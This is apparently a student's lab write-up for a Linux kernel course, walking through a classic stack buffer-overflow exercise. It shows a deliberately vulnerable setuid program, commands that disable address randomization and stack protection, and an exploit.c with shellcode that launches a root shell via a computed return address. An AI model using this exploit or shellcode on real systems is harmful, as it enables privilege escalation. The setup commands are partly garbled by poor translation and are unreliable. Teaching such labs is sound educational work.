2019-2020-1 20199328 "Linux kernel principle and Analysis" in the twelfth week job

Buffer overflow

2019/12/4 11:33:45

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First, the installation program for a number of 32-bit C compiler E148
$ APT-GET Update the sudo

$ sudo apt-get install -y lib32z1 libc6-dev-i386

$ sudo apt-get install -y lib32readline-gplv2-dev

Close address randomization

$ sudo sysctl -w kernel.randomize_va_space=0

Zsh settings file

$ sudo su

$ cd /bin

$ rm sh

$ ln -s zsh sh

$ exit

Linux32 bit into the system and enter the / bin / bash

linux32
cd /bin/bash

In the / tmp under a key stack.c

$ cd /tmp
$ vi stack.c

Typing:

/* stack.c */

/* This program has a buffer overflow vulnerability. /
/ Our task is to exploit this vulnerability */

include <stdlib.h>

include <stdio.h>

include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */ 
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);

printf("Returned Properly\n");
return 1;
}

Compile the program and set the SET-UID

 $ sudo su

$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

$ chmod u+s stack

$ exit

Exploit.c create a new file in the / tmp directory, enter the following:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

gdb debugging
$ gdb stack

$ disass main

Shellcode address calculation is 0xffffd2d0 (hex) + (100 hexadecimal) 0x64 = 0xffffd334 (hex)

Now modify exploit.c file! The \ x ?? \ x ?? \ x ?? \ x ?? amended as \ x34 \ xd3 \ xff \ xff

Run the exploit exploit, then run the vulnerable program stack, observations: